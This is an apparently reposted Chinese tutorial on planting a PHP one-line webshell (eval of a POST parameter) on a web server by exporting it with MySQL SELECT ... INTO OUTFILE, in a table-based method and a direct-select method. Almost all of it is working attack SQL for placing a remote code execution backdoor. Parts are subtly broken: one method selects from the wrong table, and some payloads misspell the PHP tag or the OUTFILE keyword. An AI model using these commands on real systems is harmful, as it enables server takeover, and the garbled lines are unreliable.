听说是很老的东西了,学习的时候发现还是很好用的,故学习转载过来,留备学习。
mysql 导出一句话
- 方法1:网上流行的方法
流程:(1)建表--->(2)插入数据--->(3)select查询导出
USE test; #调用test数据库;
DROP TABLE IF EXISTS tmp; # 测试当前数据中是否存在tmp表;
CREATE TABLE tmp(cmd TEXT NOT NULL); # 创建表tmp,且其中的字段为cmd,值不能为空;
INSERT INTO tmp(cmd) VALUES ('<?php @eval($_POST['pass']);?>'); # 向tmp表中cmd字段插入一句话;
SELECT cmd FROM hello INTO OUTFILE '/home/htdocs/ok.php'; # 使用 select 'sth' into outfile '网站物理路径';
DROP TABLE tmp; # 删除表tmp。
Drop TABLE IF EXISTS temp; //如果存在temp就删掉
Create TABLE temp(cmd text NOT NULL); //建立temp表,里面就一个cmd字段
Insert INTO temp (cmd) VALUES('<? php eval($_POST[cmd]);?>'); //把一句话木马插入到temp表
Select cmd from temp into out file 'd:/wwwroot/1.php'; //查询temp表中的一句话并把结果导入到eval.php
Drop TABLE IF EXISTS temp; //删除temp
- 方法2:直接select 查询导出一句话
还有一个思路,就是通过select '一句话' into outfile '网站物理路径' 即可,具体操作语句如下:
select '<? php eval($_POST[cmd]);?>' into outfile 'd:/phpstudy/wwww/1.php';
这样做简洁明了,没那么多废话。不知道网上的方法要操作那么复杂(建表-插入数据-最后从表中导出数据),真心复杂!!!
如果谁知道,网上这样操作的原因,请给我留言分享下!!!